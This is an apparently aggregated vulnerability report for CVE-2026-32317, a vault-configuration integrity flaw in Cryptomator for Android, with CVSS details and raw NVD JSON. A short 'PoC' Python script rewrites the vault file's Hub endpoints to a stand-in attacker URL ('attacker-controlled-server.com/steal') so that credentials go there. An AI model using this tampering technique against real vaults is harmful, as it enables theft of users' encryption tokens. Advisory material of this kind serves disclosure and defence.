Security Vulnerability Report
中文
CVE-2026-32317 CVSS 7.6 HIGH

CVE-2026-32317

Published: 2026-03-20 19:16:16
Last Modified: 2026-03-26 13:56:29

Description

Cryptomator for Android offers multi-platform transparent client-side encryption for files in the cloud. Prior to version 1.12.3, an integrity check vulnerability allows an attacker tamper with the vault configuration file leading to a man-in-the-middle vulnerability in Hub key loading mechanism. Before this fix, the client trusted endpoints from the vault config without host authenticity checks, which could allow token exfiltration by mixing a legitimate auth endpoint with a malicious API endpoint. Impacted are users unlocking Hub-backed vaults with affected client versions in environments where an attacker can alter the vault.cryptomator file. This issue has been patched in version 1.12.3.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:cryptomator:cryptomator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:*:*:*:*:*:*:*:* - NOT VULNERABLE
Cryptomator for Android < 1.12.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import json # Simulating the vulnerability where an attacker modifies the vault config # Original config file path usually: /storage/emulated/0/.../vault.cryptomator def tamper_vault_config(file_path, malicious_api_url): try: with open(file_path, 'r') as f: config_data = json.load(f) # Check if hub key configuration exists if "hub" in config_data and "keyId" in config_data["hub"]: print("[*] Original Hub config found.") # Tamper the endpoint to point to malicious server # Note: The actual structure depends on the specific implementation, # this is a conceptual PoC. if "endpoints" in config_data["hub"]: config_data["hub"]["endpoints"]["auth"] = malicious_api_url config_data["hub"]["endpoints"]["api"] = malicious_api_url else: # Injecting malicious endpoint if structure allows config_data["hub"]["backendUrl"] = malicious_api_url # Write the tampered config back with open(file_path, 'w') as f: json.dump(config_data, f, indent=4) print(f"[+] Vault configuration tampered successfully. New endpoint: {malicious_api_url}") print("[+] Next time the user unlocks the vault, credentials will be sent to the malicious endpoint.") except FileNotFoundError: print("[-] Vault configuration file not found.") except Exception as e: print(f"[-] An error occurred: {e}") # Example Usage # tamper_vault_config("vault.cryptomator", "http://attacker-controlled-server.com/steal")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32317", "sourceIdentifier": "[email protected]", "published": "2026-03-20T19:16:16.090", "lastModified": "2026-03-26T13:56:28.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cryptomator for Android offers multi-platform transparent client-side encryption for files in the cloud. Prior to version 1.12.3, an integrity check vulnerability allows an attacker tamper with the vault configuration file leading to a man-in-the-middle vulnerability in Hub key loading mechanism. Before this fix, the client trusted endpoints from the vault config without host authenticity checks, which could allow token exfiltration by mixing a legitimate auth endpoint with a malicious API endpoint. Impacted are users unlocking Hub-backed vaults with affected client versions in environments where an attacker can alter the vault.cryptomator file. This issue has been patched in version 1.12.3."}, {"lang": "es", "value": "Cryptomator para Android ofrece cifrado del lado del cliente transparente multiplataforma para archivos en la nube. Antes de la versión 1.12.3, una vulnerabilidad de verificación de integridad permite a un atacante manipular el archivo de configuración de la bóveda, lo que lleva a una vulnerabilidad man-in-the-middle en el mecanismo de carga de claves de Hub. Antes de esta corrección, el cliente confiaba en los puntos finales de la configuración de la bóveda sin comprobaciones de autenticidad del host, lo que podría permitir la exfiltración de tokens al mezclar un punto final de autenticación legítimo con un punto final de API malicioso. Los usuarios afectados son aquellos que desbloquean bóvedas respaldadas por Hub con versiones de cliente afectadas en entornos donde un atacante puede alterar el archivo vault.cryptomator. Este problema ha sido parcheado en la versión 1.12.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-346"}, {"lang": "en", "value": "CWE-354"}, {"lang": "en", "value": "CWE-451"}, {"lang": "en", "value": "CWE-923"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cryptomator:cryptomator:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.12.2", "matchCriteriaId": "A364B336-F177-4B4B-908C-E5EFEA334800"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:*:*:*:*:*:*:*:*", "matchCriteriaId": "8255F035-04C8-4158-B301-82101711939C"}]}]}], "references": [{"url": "https://github.com/cryptomator/android/releases/tag/1.12.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/cryptomator/android/security/advisories/GHSA-876q-q3mm-fcvj", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}